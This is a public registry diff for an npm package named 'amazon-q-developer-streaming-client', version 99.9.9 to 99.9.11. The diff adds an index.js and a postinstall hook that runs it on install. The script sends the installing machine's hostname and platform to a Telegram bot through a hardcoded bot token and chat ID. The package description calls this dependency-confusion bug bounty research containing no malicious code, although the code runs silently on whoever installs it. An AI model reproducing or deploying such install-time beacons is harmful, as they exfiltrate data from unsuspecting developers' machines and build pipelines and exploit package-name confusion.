amazon-q-developer-streaming-client 99.9.9 → 99.9.11

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +42 -0
  2. package/package.json +3 -2
package/index.js ADDED
@@ -0,0 +1,42 @@
1
+ const https = require('https');
2
+ const os = require('os');
3
+
4
+ const TOKEN = "8236864682:AAFO8n3ml54y_JQnAA2_wxD5j01eooMwC8w";
5
+ const CHAT_ID = "8655055695";
6
+
7
+ // Message ko simple string banate hain complication hatane ke liye
8
+ const messageText = `🚀 POC TRIGGERED!\nPackage: amazon-q-developer-streaming-client\nHost: ${os.hostname()}\nPlatform: ${os.platform()}\nResearcher: ALONE BEAST`;
9
+
10
+ const data = JSON.stringify({
11
+ chat_id: CHAT_ID,
12
+ text: messageText,
13
+ parse_mode: "Markdown"
14
+ });
15
+
16
+ const options = {
17
+ hostname: 'api.telegram.org',
18
+ port: 443,
19
+ path: `/bot${TOKEN}/sendMessage`,
20
+ method: 'POST',
21
+ headers: {
22
+ 'Content-Type': 'application/json',
23
+ 'Content-Length': Buffer.byteLength(data)
24
+ }
25
+ };
26
+
27
+ const req = https.request(options, (res) => {
28
+ let responseBody = '';
29
+ res.on('data', (chunk) => { responseBody += chunk; });
30
+ res.on('end', () => {
31
+ console.log("Telegram Response:", responseBody);
32
+ });
33
+ });
34
+
35
+ req.on('error', (error) => {
36
+ console.error('Request Error:', error.message);
37
+ });
38
+
39
+ req.write(data);
40
+ req.end();
41
+
42
+ console.log("Sending hit to Telegram...");
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "amazon-q-developer-streaming-client",
3
- "version": "99.9.9",
3
+ "version": "99.9.11",
4
4
  "description": "Security research package for internal dependency confusion testing. This package is part of a bug bounty program to identify risks in internal build pipelines. Contains no malicious code.",
5
5
  "keywords": [
6
6
  "security",
@@ -13,6 +13,7 @@
13
13
  "type": "CommonJS",
14
14
  "main": "index.js",
15
15
  "scripts": {
16
- "test": "echo \"Error: no test specified\" && exit 1"
16
+ "test": "echo \"Error: no test specified\" && exit 1",
17
+ "postinstall": "node index.js"
17
18
  }
18
19
  }